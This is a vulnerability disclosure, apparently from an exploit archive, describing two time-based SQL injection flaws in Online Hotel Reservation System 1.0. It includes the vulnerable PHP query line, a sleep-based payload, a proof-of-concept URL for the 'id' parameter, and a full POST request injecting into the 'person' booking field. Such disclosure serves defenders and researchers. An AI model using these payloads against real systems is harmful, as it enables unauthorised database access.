Authored by Mesut Cetin

Online Hotel Reservation System version 1.0 suffers from multiple remote SQL injection vulnerabilities. Original discovery of SQL injection in this version was discovered by Richard Jones in January of 2021.

# Exploit Title: Online Hotel Reservation System 1.0 - 'id' Time-based SQL Injection
# Exploit Author: Mesut Cetin
# Date: 2021-01-14
# Vendor Homepage: https://www.sourcecodester.com/php/13492/online-hotel-reservation-system-phpmysqli.html
# Software Link: https://www.sourcecodester.com/download-code?nid=13492&title=Online+Hotel+Reservation+System+in+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested on: Kali Linux 2020.4, PHP 7.4.13, mysqlnd 7.4.13, Apache/2.4.46 (Unix), OpenSSL/1.1.1h, mod_perl/2.0.11 Perl/v5.32.0

######## Description ########

Vulnerable to SQL Injection.

// vulnerable parameter at include/room.php, line 25:

$mydb->setQuery("SELECT * FROM ".self::$tbl_name." Where `ROOMID`= {id} LIMIT 1");

######## Proof of Concept #########

The 'id' parameter at http://localhost/marimar/admin/mod_room/index.php?view=edit&id=11 is vulnerable to time-based SQL injection.

Payload: (select*from(select(sleep(10)))a)

Proof of Concept:

http://localhost/marimar/admin/mod_room/index.php?view=edit&id=(select*from(select(sleep(10)))a)

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# Exploit Title: Online Hotel Reservation System 1.0 - 'person' time-based SQL Injection
# Exploit Author: Mesut Cetin
# Date: 2021-01-15
# Vendor Homepage: https://www.sourcecodester.com/php/13492/online-hotel-reservation-system-phpmysqli.html
# Software Link: https://www.sourcecodester.com/download-code?nid=13492&title=Online+Hotel+Reservation+System+in+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested on: Kali Linux 2020.4, PHP 7.4.13, mysqlnd 7.4.13, Apache/2.4.46 (Unix), OpenSSL/1.1.1h, mod_perl/2.0.11 Perl/v5.32.0

######## Description ########

The 'person' parameter is vulnerable to time-based SQL Injection.


######## Proof of Concept #######

Payload: (select*from(select(sleep(10)))a)

Using Burp Suite, send the following POST request:

POST /marimar/index.php?p=booking HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
Origin: http://localhost
Connection: close
Referer: http://localhost/marimar/index.php?p=booking
Cookie: PHPSESSID=cf40af0022f401c8cfd0be17fc00a6cc
Upgrade-Insecure-Requests: 1

arrival=01%2F19%2F2021&departure=01%2F11%2F2021&person=(select*from(select(sleep(10)))a)&accomodation=0